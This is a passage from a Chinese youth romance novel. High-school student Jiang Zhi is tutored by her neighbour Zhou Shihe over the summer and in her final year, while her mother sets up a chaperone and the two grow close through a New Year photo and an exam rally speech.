姜至叹了口气,本来想说回来都几点了,还睡什么睡,但现在几个对话已经问得她不困了,便打个呵欠,快速起床。
出门的时候,徐非云看了她一眼,“今天心情不错。”
姜至把落在眼前的碎发勾起来挂在耳朵上,“还好吧。”
徐非云懒得拆穿她,“呵。”
姜至眼睛往别处看。
早饭吃得简单,徐非云把她爷爷平时骑着去钓鱼的三轮车借来,俩人风风火火地往狗市赶。
到停车点,徐非云把车子停好,一转身,姜至没了踪影,给徐非云吓得够呛,原地转两圈才看见姜至在一个狗贩子那蹲着。
“好可爱啊。”姜至看见徐非云过来,跟她说。
徐非云都想给她后脑勺一巴掌,结果顺着姜至的目光看过去,“我靠,好可爱。”
不知道是一只什么品种的狗,纯白色,小小的,感觉还没有一颗小瓜大。
“你要买吗?”姜至问她,“你买吧。”
徐非云:“我买了开学谁给我照顾?”
“我。”姜至举起手自告奋勇。
“你毕业了呢!”徐非云问。
姜至沉默了。
徐非云二话不说把人拉走了,姜至一步三回头,很是恋恋不舍。
徐非云玩心大,几乎
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不怎么愿意在家里闲着,但她不怎么想拥有什么,姜至倒好,到狗市一个小时,想买三条狗两只猫八只兔子五只鸟。
带姜至走的时候,徐非云差点要报警让警察来抓。
姜至到家后,徐非云头也不回地走了,并决定以后再也不喊姜至出去了。
姜至回到家还想着那些小动物呢,林淑和姜先舟问她玩得怎么样,姜至想了想,勇敢地跟林淑说:“妈,我想养狗。”
林淑半点没往耳朵里进,“高考结束再谈这些。”
姜至眼巴巴地扒着林淑,“有分数要求吗?”
林淑随口一说,“至少本科吧?三本也行。”
姜至扯了扯唇,“哦”一声,心想不想让她养就直说。
林淑和姜先舟走后,姜至一步三个呵欠地往三楼去,路过周识鹤家的时候,瞧见门没门,她探头往里看了一眼,只见邓丽在一旁坐着,忙着织手工。
姜至没打扰她,目光扫了一圈,没看到周识鹤,这才轻手轻脚地往单间走去。
这些日子林淑一直没有要关门的打算,之前还跟邓丽说让周识鹤没事可以先去单间学习,反正空着也是空着。
眼下高三临近,姜至只求这单间最好一直租不出去。
“来了。”周识鹤看见姜至。
姜至“嗯”一声,拿着试卷坐过去。
这屋里本来只有一张桌子一张椅子,周识鹤应该是把家里的凳子搬过来了,他让姜至坐桌子前,自己则坐在姜至旁边。
再旁边立了一个风扇,好在上午不算太热,一个风扇也勉强能撑过去。
周识鹤这人做事情专注力很高,他说讲课,就绝不会在中间岔话题讲别的,姜至却不行,一会儿感觉有点渴,一会儿又有点犯困,连续打三个呵欠以后,周识鹤问她:“没睡好?”
姜至说:“早上徐非云找我去狗市了,起太早了。”
“哦,就是隔壁那个女生。”她说。
周识鹤对徐非云没什么兴趣,反倒问:“狗市?”
提起狗市,姜至滔滔不绝,周识鹤听着,没有要打断的意思。
等姜至意识到自己讲太长时间,已经不知道过去多久了,她挠挠头,“不好意思,讲太多了。”
“没事,”周识鹤说,“也不是什么正规补课。”
他这样讲,姜至心里好受很多,忍不住继续说:“真的好想养狗,可是我妈说必须考本科才可以。”
周识鹤没说话。
姜至问:“很难对吧。”
周识鹤沉默两三秒,说:“可以换个梦想。”
姜至:“……”
“或者再等等。”周识鹤难得知道找补了。
姜至知道他是想安慰自己,便随口说:“等什么啊?”
“等你自己可以决定人生的时候。”周识鹤说。
姜至愣了下,“那也太久了吧。”
周识鹤:“不会。”
姜至:“怎么不会,我爸妈现在还年轻着呢,等他们走,肯定还要好几十年啊。”
这下轮到周识鹤愣住了。
姜至问:“不是吗?只要我爸妈一直在,他们肯定会管我啊。”
周识鹤看着姜至无辜的眼睛,知道她是真的打心底里这么觉得,她也许并未觉得被管是一件多么被束缚的事情,兴许还会觉得有人兜里,人生稳健又安全。
她走的是一条和他完全截然相反的路。
也许他并不能给她什么有用的建议。
“那先看题吧,”周识鹤垂下眼眸,说,“多看一题,考上的本科概率就大一点。”
“哦,好吧。”
24.聪明人
周识鹤给姜至补课第三天,天气忽然开始变得很热很热,风扇几乎没什么用,她这人热起来脸就红,想藏也藏不住。
周识鹤发现后,知道眼下条件也改善不了,便说:“先回吧,等过两天气温下来再过来。”
姜至并不想这样,但周识鹤态度很坚决,她只能低着头走,周识鹤跟在她身后,在她踏出房间的同时,轻轻拿手里的试卷拍了下姜至的头,“晚上把电话给你送下去。”
姜至瞬间抬起头,眼睛放光。
周识鹤笑了笑,抬下巴示意:“去吧。”
姜至:“好的周老师,周老师再见。”
中午林淑下班,进门瞧见姜至脸红红的,疑惑地看了眼空调,确定空调没什么问题,问:“怎么热成这样?出去了?”
姜至正抱着西瓜拿勺舀,闻声动作一顿,想起徐非云说的那些话。
待林淑从厨房出来,姜至把西瓜放下,坦白说:“我上午去三楼找周识鹤了。”
林淑看了她一眼,倒是没什么太凝重的表情,“找他做什么?”
姜至尽量把神色和语气都放得自然,“我不是做那个期末考的试卷吗,有不会的,想着他暑假在家也没事,就上去找他问问。”
林淑闻言还挺新鲜,“就三楼那个单间?”
姜至“嗯”一声。
林淑想了想,问姜至:“你觉得周识鹤怎么样?”
姜至手脚一麻,心脏几乎一瞬间提到了嗓子眼。
她看着林淑,强撑着若无其事地问:“什么怎么样?”
“你之前说你进步是他帮的忙,他成绩那么好,思维能跟你同步吗?”林淑问。
林淑这么说,姜至就忍不住想护短,“怎么不能,他很细心的。”
林淑看了她一眼,说句:“是吗。”
姜至:“对啊,而且他本身就在带学生,就现在每天下午他都会出去给别人补课的。”
说完她又强调一下,“收费的!”
林淑琢磨了下,“他现在什么时间有空?”
姜至说:“上午吧。”
说完又补一句似是而非的,“我也不是特别清楚。”
“那你跟他商量一下,每天上午让他给你补,楼上太热了,你看就在我们家客厅行不行,”说着又责怪姜至,“你也是傻的,那么热的天,就不能让他上家里来?”
“那……不好吧,”姜至这点分寸还是有的,“你们又不在。”
林淑说:“没事,明天让他来。”
“好吧,那我明天问问他。”姜至努力压着嘴角。
林淑想了想,直接起身,“别明天了,我现在就去,今年补习班全撤了,他别临时又加了学生。”
姜至“哎”一声,想要跟着一起去,林淑制止她,“你别去了,那么热。”
姜至想跟上去,又怕太急切显得她多想补课似的,跟她平时的作风又不符,只好坐着不敢动了。
她本来还很忧心,但一想林淑是去求人帮忙的,总不至于再说话难听吧,直到看见林淑去小屋拎了两件礼出来,她才算放下心。
-
林淑一路脚步没停,天气实在热,正午更是出来三分钟就满头汗。
这会儿是饭点,周识鹤在厨房做饭,邓丽就在床边坐着摆弄手工,家里门开了一半通风,林淑敲了敲门,母子二人一同看过来。
“姐。”林淑笑着打招呼。
邓丽放下手中的活,“怎么这会儿上来了,快来坐。”
林淑把东西拎进去放在一旁,邓丽瞧见了,立马说:“怎么那么客气。”
林淑笑着说:“这不是有事找小周帮忙吗。”
邓丽看了眼周识鹤,“怎么了?”
周识鹤闻声快速把锅里的东西盛出来,没着急刷锅,走过来打招呼:“阿姨。”
林淑“哎”一声,说:“我听姜至说,她去年成绩进步你帮了不少忙,这不是本来给姜至报了个补习班吗,结果今年查得严,不知道被谁给举报了,你瞧眼见明年姜至就高三了,我急啊,就想着,你看每天上午你要是没事,能不能给姜至补补课?按照你正常价收就行。”
邓丽闻声立马说:“你这说的太客套了,那同学之间帮忙都是顺手的事,哪还谈得上钱啊。”
“要谈要谈,一码归一码嘛,”林淑笑盈盈的,“我知道姜至基础差了点,我给了钱,也好要求你多费点心是不是。”
这时周识鹤才开口,“我会的,阿姨。”
“好,那我就不打扰你们吃饭啦。”林淑起身要走。
邓丽急忙说:“小周去送送。”
林淑摆手说不用。
周识鹤还是跟了上去。
二人到了门口,林淑跟周识鹤说:“姜至这孩子心思少,很多时候说话做事都不过脑子,如果她说了什么不合适的做了什么有失分寸的,你别太往心里去。”
周识鹤看着林淑,几秒后,说:“她没有。”
林淑这才笑,拍拍周识鹤的肩膀,“好,别送了,回去吃饭吧。”
周识鹤目送林淑下楼,自己才转身回屋,邓丽慢吞吞起身往餐桌那边走,周识鹤没扶,医生说了平时还是要多走动的。
周识鹤一路去厨房区,舀了一碗冷水浇锅里,这才把菜端到餐桌上。
邓丽坐到一旁,状若不经意地说:“家里就一个女孩,上心着呢。”
周识鹤没说什么,只默默给邓丽夹菜。
邓丽知道周识鹤听见了,她家儿子聪明,很多话点到即止就好,就像刚搬进来那阵儿,她也曾提点过周识鹤,要对姜至好一点,有事没事伸把手,林淑回馈得可不止几句称赞。
后来果不其然全楼都涨了房租,唯有他们家没涨。
只是没想到……
邓丽在心里叹了口气,反过来给周识鹤夹菜。
母子二人一个比一个安静。
-
下午姜至一个人在家,晚上过了八点就开始坐在书桌前等,一直等到十点多也没等到那个从天而降的纸杯电话,十一点的时候她差点趴在桌子上睡着,后来确定周识鹤不会再打来“电话”,终于有些失望地躺到床上睡觉去了。
第二天清晨姜至起得很早,她做梦都惦记着周识鹤,她觉得周识鹤应该是个说话算话的人,倘若没做到,肯定是有事情耽搁了。
上午九点钟,林淑和姜先舟前后脚去上班,他们刚走,姜至就跑到院子里往三楼看,果不其然没一会儿,周识鹤就从家里出来了,姜至咧着嘴笑出来,小跑着回屋去厨房里拿一早就切好放在冰箱里的西瓜。
她刚出厨房,看见门把手被人从外面拧动,她想去开门,结果一抬脚,下一秒进来的是徐非云。
姜至愣了下,“怎么是你?”
徐非云手里拿着一本书,脖子上吊儿郎当地挂着耳机,嘴里还嚼着口香糖,闻声掀了姜至一眼,“你以为是谁?”
算时间,周识鹤差不多也该下来了。
姜至不管徐非云,快速把西瓜放到餐桌上,转身准备出去,徐非云拦在门口不动,姜至瞪眼:“你干嘛?”
徐非云哼小曲,很欠揍。
姜至都着急了,“哎呀,你别闹,我有正事呢。”
“什么正事?”徐非云偏要逗她,“跟我说说。”
姜至急得想踹她。
徐非云笑半天,侧身让开,姜至还没动弹,周识鹤从徐非云身后出现,姜至愣住,徐非云路过姜至的时候,声音很小地说
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:“surprise。”
家里有第三个人,姜至莫名有些别扭,她朝周识鹤笑笑,“进来吧,不用换鞋。”
周识鹤看了眼徐非云,确定徐非云也没换鞋,才走进来。
姜至说:“要不要先吃点西瓜再进去?”
周识鹤看了眼整洁干净的方形餐桌,“就在客厅吧。”
姜至:“啊?”
周识鹤说:“客厅空间大一些。”
姜至声音明显低了下来,她“哦”一声,扭头跟徐非云说:“喂,我要开始补课了。”
“喂什么喂,没礼貌,叫姐。”徐非云说。
姜至对她今天的行为很是奇怪,她怕周识鹤尴尬,朝周识鹤笑笑解释说:“我们从小到大闹习惯了。”
然后走到沙发旁边,后背对着周识鹤,脸冲徐非云挤眉弄眼,“我没时间陪你玩。”
徐非云往沙发上一躺,摆摆手,假意翻开书,“不用理我。”
说罢把耳机往头上一戴,“我也听不见。”
还是周识鹤唤了姜至一声:“姜至,时间差不多了。”
姜至只好走到周识鹤身边,“她不会打扰我们的。”
周识鹤说:“没事。”
姜至这才转身去自己房间把昨天没讲完的理综试卷拿出来。
有徐非云在,姜至本想问问周识鹤昨天是为什么没打“电话”,现在也不好问了,只能老老实实地听题,写题。
好在姜至本人也是真的想补课想进步,所以很快就进入状态。
一个半小时匆匆过去,等姜至伸个懒腰,扭头一看,徐非云早就睡得不知天地为之何物,书也早就掉地上去了。
姜至都替徐非云尴尬,不过好在周识鹤没分什么眼神给徐非云,临走前跟姜至说:“下午把册子做一下,明天上午看英语试卷?”
姜至说好。
送走周识鹤后,姜至才去沙发那捉弄徐非云,她先是捏着徐非云的鼻子不让她呼吸,随即又捂住她的嘴巴,很快徐非云就被憋醒了。
她蒙蒙地睁开眼,一看屋里没了周识鹤的身影,“结束了?”
姜至脸上冷漠,“你自己家不好睡吗?”
徐非云打个呵欠,扔下一句姜至听不懂的“没在这赚得多”,起身就走了。
等第二天徐非云再次和周识鹤前后脚到达她家客厅时,姜至后知后觉意识到了什么,她有点不高兴了。
不是为自己,而是为周识鹤。
连续听见姜至三次有气无力的“嗯”,周识鹤看了姜至一眼,问:“怎么了?”
姜至低着头没说话。
她一句不发,周识鹤也实在不知道该追问什么,只能也沉默。
过了好一会儿,他听见姜至说一声很低的,“对不起。”
周识鹤看向她,“为什么?”
姜至回头看一眼沙发上的徐非云,说:“她应该是我妈喊来的。”
周识鹤笑了,“没事,很正常,我还遇到过家长也要坐一起听课的学生。”
姜至“啊”一声,“那不会让人感觉很不被信任吗?”
周识鹤很大度,“父母之心,人之常情。”
姜至身边很少有周识鹤这样的同龄人,感觉他聪明又稳重,踏实又谦虚,不管他做什么说什么,都会让人不由自主的感到安心。
她眼睛一眨不眨地看着周识鹤,好几秒,她忽然问:“周识鹤,你是不是很辛苦?”
不等周识鹤回答,她又说:“你以后一定会过得很好的。”
周识鹤也看着她,他又在她那双眼睛里看到了他的面庞。
这房间很凉爽,周识鹤却感觉胸口热热的。
他弯唇笑了笑,“借你吉言。”
25.拍合照
姜至猜测徐非云应该是拿了林淑什么好处,每天按时按点地出现在周识鹤下楼的前一秒,进门就睡觉,要么就拿手机找电视看,起初还会等周识鹤走了,后来这边到点,那边起身就走,也不管周识鹤拖不拖堂。
姜至本来还有点烦,后来直接习惯了,反正徐非云一直戴着耳机,并不耽误她和周识鹤说什么小话,有时候姜至还会故意放大声音议论徐非云的躺姿,确定徐非云听不见后,她就会缩着脖子,露出得逞的笑。
起初周识鹤还会露出无可奈何的笑,拿笔轻戳试卷,让她把心思放回试题上,后来次数多了,他就后背往椅背上一靠,看着姜至笑,等姜至自己把心思收回来,再跟她讲题。
以前徐非云没毕业的时候,她的寒暑假跟姜至过得差不多,要么补课,要么在家写作业,偶尔去她爸妈的城市,也不过是轻松两天,后面还是写作业写作业。
姜至也如此,她甚至习惯了假期的无聊,平静与漫长。
这是第一次,姜至觉得假期过得好快。
开学前一周,周识鹤停止了给别人补课,也停止了给姜至补课。
姜至开始每天早上跟徐非云出去遛弯,下午在空调屋里睡个午觉,傍晚则跟周识鹤一起去出摊。
徐非云偶尔也去,她性格好,愿意哟呵,有时候会喊过来几个凑热闹的,多少要比平时多卖几个钱。
没了学习的一周自然过得更快,开学前一天晚上,姜至趴在家里的桌子上,耳朵上叩着纸杯子话筒,有气无力地说:“不想开学。”
周识鹤笑了下,说:“高三了。”
“是啊,”姜至说,“大家都说高三很累。”
周识鹤:“嗯,是不轻松。”
姜至好奇,“你也会觉得累吗”
周识鹤想了下,“其实还好。”
“是吧,我也觉得,”姜至顺口就说,“你那么厉害。”
周识鹤没反驳,只说:“姜至,加油吧。”
把纸杯话筒放回去的时候,姜至看着它一寸寸往上升,忍不住双手合十,闭眼祈祷:“姜至,加油吧,多加一点油吧!”
-
高三的日子没有姜至想象中那么艰苦,但是时间确实过得很快。
青槐进入九月下旬,天气就开始转凉,国庆节结束,就彻底进入秋天,大家陆陆续续换上秋装,穿上外套。
考试还是每月一次,试题含真题量越来越高。
进入十二月以后,大雪压低了气温,也使得大家变得更沉默。
姜至在一个寂静的晚自习,看着窗外飘着的鹅毛大雪,听老师通知本次寒假只放三天,第一次对高三的冷漠有了实感。
晚上十点四十,高三部才敲放学铃。
姜至和周识鹤前后脚出门,一出门姜至就被风吹得退后了两步,周识鹤伸胳膊在她伸手拦了一下,姜至嘴里嘀咕着:“哎呀呀哎呀。”
她身上套着长款羽绒服,其实班里大多数人都穿黑色羽绒服,毕竟冬天弄脏了不好洗,但林淑却愿意给姜至买浅色的。
她今天穿得淡黄色的,款式有些收腰,下摆又有些宽宽,周识鹤看不懂这属于什么系列,只觉得有点像童话故事册子里的公主裙。
冬天冷,如今晚自习又放学放得晚,林淑显然很在意姜至是否暖和,给她拿了帽子,又戴了围巾。
姜至听话,把自己裹得像个企鹅,嘴里“哎呀呀”的时候,周识鹤实在没忍住,偏开头笑了笑。
姜至察觉,微微仰头看他,眼睛睁得圆圆的,很真挚地问他:“怎么了?”
周识鹤说:“没事。”
说完又没忍住,抬手往姜至后脑勺拍了一下,顺手把手塞进口袋里,“走了。”
姜至穿得厚,周识鹤这下显然也只是闹着玩,打得她不痛不痒的。
她正要跟上去,身后忽然不知谁又给她后脑勺一巴掌,姜至愣在原地,等反应过来,陶馨已经从她旁边跑了过去,路过周识鹤的时候还非常有礼貌的打声招呼,“大佬拜拜。”
“……”姜至无语!
结果下一秒,后脑勺又被人拍了一下。
姜至真的要生气了!
她回头瞪眼,只见代湘智还没跑掉,冲她“嘿嘿”一笑,抬胳膊看向远处,“嗨,大佬。”
姜至闻声回头,还没看清周识鹤到底在干嘛,代湘智趁机跑了。
“……”姜至无语!
她缩着下巴走向周识鹤,“都怪你!”
周识鹤这次是真忍不住了,他把下巴缩进高领毛衣里,眼睛几乎成眯眼状。
姜至猝不及防伸手扒拉他的毛衣领,果不其然看到他唇角都弯出弧度了。
然而还没等她说什么,周识鹤一秒收了笑,“对不起。”
他道歉道那么利索,姜至反倒不知道说什么了。
她又不会真的和他生气,再说了陶馨和代湘智也是跟她闹着玩啊。
她张了张嘴,欲言又止,最后只能说句:“没事。”
话音刚落,姜至就看见周识鹤唇角又掀起了若有似无的弧度,她眯了眯眼,盯着周识鹤,周识鹤佯装什么也没发生地往前走,姜至不死心地小碎步追上,一直追到学校大门口,才伸爪子扒拉他,“你刚刚是不是在偷笑?”
周识鹤目视前方,脚步却放慢了,只是嘴上仍不承认,“没有。”
“你明明就有。”姜至说。
周识鹤说:“你看错了。”
姜至气地想再去扒拉周识鹤的毛衣领,亲眼看看他唇角,结果一时没注意到脚下开了口的地砖,被猛地绊了一下,人直直地往前趴去。
“哎!”她自己吓一大跳。
周识鹤眼疾手快一把拽住她的胳膊,姜至的倾倒方向瞬间变成往周识鹤怀里倒,她脑门一下子撞进周识鹤胸口,两个人双双发出闷哼。
周识鹤一个男的倒是不在意这些小打小闹,他看姜至一直捂着脑门,还以为撞到什么地方了,有些急迫地扒她的手,“怎么了,我看看。”
姜至发出“嘶嘶”的声音,好像很严重的样子。
她这样周识鹤心里蓦地一慌,扒姜至手的力气都不由自主大了些。
只是他刚扒开,下一秒,姜至就忽然朝他弯眸一笑,动作很快地扒了下他的衣领,然后在他还未反应过来之时,单手握拳向上,声音很小地“呜呼”了一声,朝前小跑而去。
她穿那么多,浑身上下几乎没有露出一点皮肤,只有披散的头发在围巾下面,因为动作和风起起落落。
可周识鹤依然通过这一点细节想象中她眉眼的灵动。
其实早在最开始姜至被林淑打哭冲他发脾气的时候,周识鹤就知道,姜至也是个有脾气的小孩,她还很机灵,有时候会有些小动作,比如走路踢石子,偶尔双手背后,笑得身子前倾。
大概是因为林淑虽然对她看管严格,但却没有压制过她的其他天性。
如果没有学校和考试的压制,周识鹤猜想,姜至未来的人生,一定很精彩。
他想着,唇角勾出了浅浅弧度,眉眼也弯出痕迹。
远处姜至转个身,面朝他倒着走,她很得意地冲他挥手,学他们那样喊他:“大佬。”
周识鹤笑着,跟了上去。
-
除夕夜晚上,姜至才算开始放假,她刚到家就见徐非云在她家院里帮忙,姜至小跑过去,“你今年怎么回来啦?”
徐非云说:“明年就要实习了,今年再不回来,以后说不定更没机会咯。”
姜至还不懂什么叫不能回家过年,敷衍地“哦”一声,跑回屋放书包。
晚上烟花四起,院子中间摆着姜先舟大雪那天连夜堆起的雪人。
吃完饺子,徐非云到姜至家里来看春晚,林淑让姜至去楼上把周识鹤母子喊下来一起看,姜至很高兴地说好,一溜烟儿就跑没了。
姜至走后,徐非云问林淑:“她今年咋样啊?”
林淑说:“就那样吧,比之前强点,本科我看还是没指望,到时候看看能不能找个民办的本科或者专业课好点的学校吧。”
徐非云“嗯”一声说:“我听说周识鹤是第一名考进天一的啊?”
林淑听了直叹气,“是啊,你说人家这小孩怎么养的呢,条件那样还能考第一,姜至这我就差捧着了。”
徐非云笑着说:“人各有所长嘛。”
林淑更来气了,“我还真没看出她长哪儿了。”
徐非云这次笑了笑,没接茬儿。
倒是林淑问她:“以后打算在哪上班啊?”
徐非云说:“目前想去首都。”<
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林淑一听“哎哟”一声,“多远啊,你爸妈不是江南吗?怎么不去那边?”
徐非云笑着说:“太近了不好,怕他们念我。”
林淑说:“父母也不是想念,是怕你们女孩子吃亏。”
徐非云说:“知道。”
她问林淑:“姜至以后打算安排哪儿啊?”
林淑“哼笑”一声,“我是不指望她能跑多远了,一个女孩子,跑远了我也不放心,就近吧,省城就挺好,我跟你叔叔平时想她了还能去看看。”
这是意料之中的回答。
徐非云沉默了会儿,低声说句:“挺好。”
没一会儿,姜至就下来了,她身后只跟了周识鹤,没见邓丽。
林淑问:“你妈不下来?”
周识鹤说:“她有点累,准备睡觉了。”
邓丽那身体状况,大家也不好多问,便都点点头,让周识鹤找个位坐。
春晚是大家每年必看项目,可今年春晚却总觉得差那么点意思。
外面不知谁放了超大的烟花,徐非云和姜至跑出去看,没多久,徐非云进来把周识鹤也喊了出去。
又过了一会儿,徐非云进来找姜先舟要相机,说要拍照,姜先舟还叮嘱姜至和雪人拍一张。
跟雪人烟花合照,是姜至每年的项目,她也很期待。
可今年,她心思却不在这上面。
徐非云拿着相机乐呵呵地给姜至拍了各种角度,也让姜至给她拍了各式各样的,期间有一个特别大的烟花,炸出来仿佛要把青槐笼罩住。
徐非云喊着让姜至站到院子里去,姜至看了眼周识鹤,犹豫了下,最终还是没能说出口。
等她站定,徐非云却扭头跟周识鹤说,“你也去呗,这么好的景,不拍可惜了。”
姜至闻声立马看向周识鹤。
周识鹤看了眼徐非云手里的相机,其实有些犹豫,可看到姜至那双映着雪光的眼睛,还是选择站了过去。
可拍照的时候,徐非云却顺手掏出了自己的手机,拍完她状若刚反应过来一般,“哎,我忘了,应该用相机拍的。”
周识鹤冲她笑笑说:“没事。”
徐非云让姜至别动,说再用相机拍两张,周识鹤却默默走出了镜头。
徐非云并没有喊住他。
等完全拍完,姜至连忙跑向徐非云,明明相机拍得最多,她却缠着徐非云要看手机,徐非云把手机给她,趁她没注意时,走到周识鹤身边,说:“一会儿加个好友,照片传给你?”
周识鹤看了她一眼,片刻,笑笑,说:“好,谢谢。”
徐非云也笑,“客气。”
他们俩人一同扭头看向姜至,看她脸被风吹得红扑扑的,指尖也红红的,眼睛却被手机光照得亮亮的,看到相册里的照片,她惊喜万分地看向这边,“好看哎!”
也不知道是在看谁,又是在跟谁说话。
零点一过,周识鹤就先一步走了。
姜至送徐非云回去,送到院子里的时候,姜至挽着徐非云,有点娇羞地说:“照片帮我洗出来,谢谢你。”
徐非云看着姜至期待的面庞,想说点什么,最终又什么都没说。
她只伸手摸了摸她的脑袋,说:“好。”
等姜至蹦蹦跳跳地回家,徐非云这才抬头看了眼三楼,周识鹤就站在走廊,她拿起手机朝他挥了挥手,随即转身离开。
夜突然就静了下来,好像刚刚的烟火热闹都是一场来去匆匆的梦。
周识鹤躺在床上,脸庞被手机光照亮。
手机屏幕上是徐非云拍的照片,她角度找得很好,烟火看上去就悬在他们头顶,烟花坠落的痕迹像彩色的流星,似乎每一个都可以许暗藏心底很久的愿望。
流星之下,姜至笑得比烟花还要灿烂,她牙齿全露,脸颊上一颗小小的酒窝。
他一身黑色的站在姜至旁边,姜至的头轻轻往他肩头靠了靠。
新年一过,真正的高三就掀起了帷幕。
白日冲刺过后,他很快就会离开这里。
他和姜至,都会有新的明天,和只属于各自的未来。
周识鹤跟徐非云说的那句“谢谢”是真心的,他想,这张照片,也许是他在这个小小院子下,留下的唯一痕迹。
26.同学们
姜至开学的时候徐非云还没走,徐非一个人在家无聊,有时候晚上会趁着夜跑的功夫去接姜至和周识鹤放学,三个人说说笑笑,也算把新年过去了。
徐非云临走前一天赶到周六,高三每周只有周六晚自习休息,这种强度姜至多少还是适应不了,所以每周六晚上几乎刚吃过饭就洗洗睡了。
周日早上正常起床上早自习,姜至起初还晕晕乎乎地赖在床上不肯起,林淑叫到第三遍的时候开始威胁了,姜至立马掀被子,这一掀,枕头也给掀跑了,正要去捡时,忽然看见地上有一张照片。
白色的那面朝上。
姜至一顿,恍惚了两秒才意识到这是什么。
她急忙捡起来,翻过来一看,果然是那晚徐非云给她和周识鹤拍的照片。
徐非云大概是考虑到便于保存,照片尺寸洗得很小,也就比平时用的证件照大一点点,因为尺寸太小,人物其实并不太清晰,再加上是夜景,面庞五官仿佛被蒙了一层纱。
二人头顶的烟火也朦朦胧胧,像后来画上的一般。
这照片不管从哪个角度看似乎都不算一张完美的,可即便如此,姜至还是看一眼,就能想起自己那晚的怦然心动。
她盯着照片看了很久,直到林淑的催促声再次响起,她才小心翼翼地把照片放进那个小福袋里,又把小福袋塞进书包两侧的其中一个小包袋里。
-
天气还未见暖的时候,天中举办了一场盛大的百日誓师大会,上台演讲的学生代表是周识鹤。
周识鹤这三年几乎已经在学校里成为了传奇,大家提起他总是不免会说到他永远满分的数理综,以及总是接近满分的英语。
他好像只有语文差一点,但总归还在优秀行列里。
旁的老师提起这一点也总是很理解地说:“男孩子嘛,心思粗旷一些很正常,他理科好成那样,像语文这种没有标准答案的科目他想必很难转过弯来。”
姜至反正是不懂有标准答案的理综有什么好,没有标准答案她还能蒙一蒙,答案一把抓下来总能抓对几个吧。
“大佬这篇演讲稿谁写的?”陶馨忽然从姜至肩后凑过来。
姜至摇头,她怎么知道?
代湘智闻声也凑过来,“我听着也不像他平时的水平啊?”
姜至有点好奇,“他什么水平?”
这不是周识鹤第一次上台演讲吗?怎么说得好像他们听过其他版本一样?
陶馨很震惊:“你不知道吗?他以前初中也演讲过一次,听别人说他讲完校长脸都绿了。”
“为什么?”姜至不太敢相信。
代湘智举手,“我知道,他跟大家说这个点才想起来冲刺已经来不及了,不如放宽心态,吃好睡好,打个漂亮的心理战。”
姜至:“……”
姜至脑补了一下周识鹤那张总是很正经的脸说这些话,没忍住低头笑出了声。
不知为什么,姜至这一笑,总觉得吸引了台上周识鹤的注意,她有点心虚地看过去,却发现周识鹤好像真的在看向这边,她微微一愣,直觉刚刚那一秒,二人在万众瞩目之下,悄无声息地对视了一刻。
青槐的冬日总是来得突然走得却缓慢,如今天气依然寒冷,大家穿着厚厚的棉服站在风里,姜至耳朵被风吹得有些红,她忍不住伸手揉了揉耳。
陶馨瞥见,问她:“冷啊?耳朵都冻红了。”
姜至低声说:“还好。”
台上周识鹤重新将目光放在演讲稿上,他站得挺拔笔直,风中如一棵四季常青的松柏,他的头发被风掀起,远远望去,像热血动漫里,拯救世界的主角。
可他的眉眼淡然,声色平稳,又是东方戏剧里才会有的临危不惧。
“我猜想有很多人现在一定很茫然,觉得自己能力平平,不如早早放弃,可是人生哪里只有高考这一个站点呢?长路漫漫,每个人或多或少都会经历一段颠簸艰难的路段,我们此行,为的不是在高考结束那一刻就放弃所有攀登的力量,而是为了更高更远的艳阳明月。
“打个简单的比方,倘若人生是一条刻度尺,终点在末端,那里绝非是高考,高考也许甚至都不能占据其中一个毫米刻度,未来总有属于我们自己的占据点。
而我们当下的每一步,都只是为了接近属于我们自己的占据点。
同学们——”
其实姜至从小就对这种大会没什么特别的兴趣,或许是林淑在她耳旁念叨得太多了,又或许是她从前也为之振奋过,只是结果总是不尽人意,久而久之,她便听一听,回教室努力二十分钟,就过去了。
可此刻,姜至看着周识鹤,看到他谈及此处,眼睛又往她这边看了过来。
寒风吹得她眯起眼睛,视线中心的周识鹤却莫名更加清晰。
她与他遥遥对视,听到他用平稳却坚定的口吻说:“同学们,多努力,会成功的。”
……
大会结束以后,所有人陆续往教室走去,每个人脸上都挂着被冬风雕刻出来的坚定。
或许这其中也有周识鹤的功劳。
陶馨明显也被洗了脑,恨不得现在就冲回教室写他个八张十张的试卷,代湘智却眼汪汪地很感动,“你看到没,最后大佬是看着我们班方向说的,他在鼓励我们班!单独的我们班!”
姜至没说话,低头笑了笑。
代湘智没等到人回应,选择一个好捏的柿子,问姜至:“是不是嘛!赞不赞同!”
姜至轻飘飘地说一句:“是啊。”
随后又一句很轻快的,“赞同!”
-
不知道是周识鹤的鼓励起了效果,还是真的被倒计时逼出了潜力,姜至进入高三的第一个月考,考出了这三年以来,最好的成绩。
周识鹤对此说:“你以后会越来越好。”
姜至一向拿周识鹤的话当圣旨,听到这话仿佛已经看到了自己的本科录取通知书。
“真的吗?”她眼睛亮晶晶的。
其实冬日的夜晚不管有没有月亮都显得有些沉重,路灯大多时候起不了什么作用,只会让人远远看去,显得空荡荡的街道更加寂寥。
可每次看见姜至被路灯或月光照亮的眼睛,周识鹤都觉得,其实冬天也是一个还不错的季节。
冬天或夏天,让他心觉不错的瞬间都源于她的一笑之际。
“真的,”周识鹤说,“高三其实就是一个重复的过程,你只要用了心,每一次的重复都会有好的结果。一题或两题,都是成果。”
周识鹤说这话时,侧着脸看姜至。
他自己都没发现,在这些日复一日并肩回家的路上,他已经从从前的目不斜视看前方,逐渐开始将目光落在姜至脸上。
姜至作为当事人,自然是注意到的。
她看着他被路灯照亮的面庞,想起从前她总是只能看见他半边脸。
她想,时间大概也是一个重复的产物。
一天或两天,都是成果。
当晚,姜至再次在梦中见到周识鹤。
他还是坐在那张小小窄窄的桌子前,窗外的阳光却将他整个人都笼盖住,她被光照得睁不开眼,却又舍不得
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闭眼。
她微微凑上前,盯着周识鹤的眼睛说:“周识鹤,你那半张脸的冰化了哎。”
周识鹤不说话,只是看着她,淡淡地笑。
-
三月底,万物复苏,春日的绿色一寸一寸覆盖整个校园,四月梅雨连绵,为新芽浇灌第一汪滋养,百花争艳一般在五月底开出最鲜亮的颜色。
六月初,学校开始放假,让大家回家放松心情,整理状态,以万全的姿态备战人生第一站。
姜至在放假这天接到了徐非云的电话,她好像在奔跑,嘴里含糊不清地说:“是不是放假了?”
姜至说:“是啊,你在干什么?”
徐非云:“中午出来见个项目负责人,这会儿着急赶地铁呢。”
姜至听她那边呼哧呼哧的,直到传来一声温柔的播报,她似乎才平稳下来,几番大喘气,终于开口说:“娘嘞,打工真的不是人过的日子。”
姜至笑了笑,忽然想起林淑之前跟她说徐非云留在了首都,她想到大家整日对周识鹤未来通知书的打赌猜测,问:“首都好吗?”
